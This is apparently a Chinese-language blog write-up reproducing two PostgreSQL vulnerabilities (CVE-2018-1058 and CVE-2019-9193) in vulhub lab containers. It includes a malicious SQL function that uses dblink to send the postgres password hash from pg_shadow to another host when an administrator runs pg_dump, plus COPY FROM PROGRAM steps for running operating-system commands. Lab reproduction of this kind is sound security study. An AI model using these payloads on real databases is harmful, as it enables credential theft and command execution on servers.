Postgres漏洞復現

Postgres漏洞匯現

CVE-2018-1058

漏洞名稱:

遠程代碼執行漏洞

漏洞類型:

遠程代碼執行

公佈時間:

2018-3-1

涉及應用版本:

PostgreSQL

https://www.securityfocus.com/bid/103221

針對操作系統:

windows/linux/mac

漏洞簡介:

擁有普通權限的psql用戶可以創建惡意函數。在管理員使用某些工具的時候,就會觸發到惡意函數,造成代碼執行。從而把信息反彈給另一臺主機

參考文章:

https://xz.aliyun.com/t/2109

測試信息

測試應用及版本:

postgres 9.6.7

測試操作系統環境:

ubuntu/linux

測試人:

Ann

測試日期:

2019-7-20

測試環境:

vulhub/postgres/CVE-2018-1058

測試過程:

  1. 以普通用戶登陸 vulhub/vulhub
  2. 以普通用戶執行命令,創建惡意函數
CREATE FUNCTION public.array_to_string(anyarray,text) RETURNS TEXT AS $$
    select dblink_connect((select 'hostaddr=192.168.248.132 port=12345 user=postgres password=chybeta sslmode=disable dbname='||(SELECT passwd FROM pg_shadow WHERE usename='postgres'))); 
    SELECT pg_catalog.array_to_string($1,$2);
$$ LANGUAGE SQL VOLATILE;
  1. 遠程監聽端口 4444
  2. 以管理員用戶登錄 postgres/postgres
  3. 執行命令,觸發惡意函數,導致代碼執行,併發送到指定機器上
    pg_dump -U postgres -f evil.bak evil
  4. 得到管理員密碼

CVE-2019-9193

漏洞名稱:

高權限命令執行漏洞

漏洞類型:

遠程命令執行

公佈時間:

2019-3-27

涉及應用版本:

PostgreSQL

9.3-11.2

針對操作系統:

windows/linux/mac

漏洞簡介:

版本9.3開始,實現了“ 複製到/來自程序 ”的新功能。這允許數據庫超級用戶和’pg_execute_server_program’組中的任何用戶運行任意操作系統命令。這實際上意味着數據庫超級用戶用戶與在操作系統上運行數據庫的用戶之間沒有權限分離

Metasploit:

https://github.com/Greenwolf/postgres_cmd_execution_nine_three?source=post_page---------------------------

這個需要自行添加到msf的模塊中

參考文章:

https://medium.com/greenwolf-security/authenticated-arbitrary-command-execution-on-postgresql-9-3-latest-cd18945914d5

測試信息

測試應用及版本:

postgres 10.7

測試操作系統環境:

ubuntu/linux

測試人:

Ann

測試日期:

2019-7-20

測試環境:

vulhub/postgres/CVE-2019-9193

測試過程:

  1. 登陸默認賬號密碼 postgres/postgres
    在這裏插入圖片描述
  2. 執行命令,刪除存在的cmd_exec表
    DROP TABLE IF EXISTS cmd_exec;
  3. 創建新的表
    CREATE TABLE cmd_exec(cmd_output text);
  4. 在代碼執行中插入命令
    COPY cmd_exec FROM PROGRAM ' ID ' ;
  5. 查看命令的執行結果
    SELECT * FROM cmd_exec;
    在這裏插入圖片描述
發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章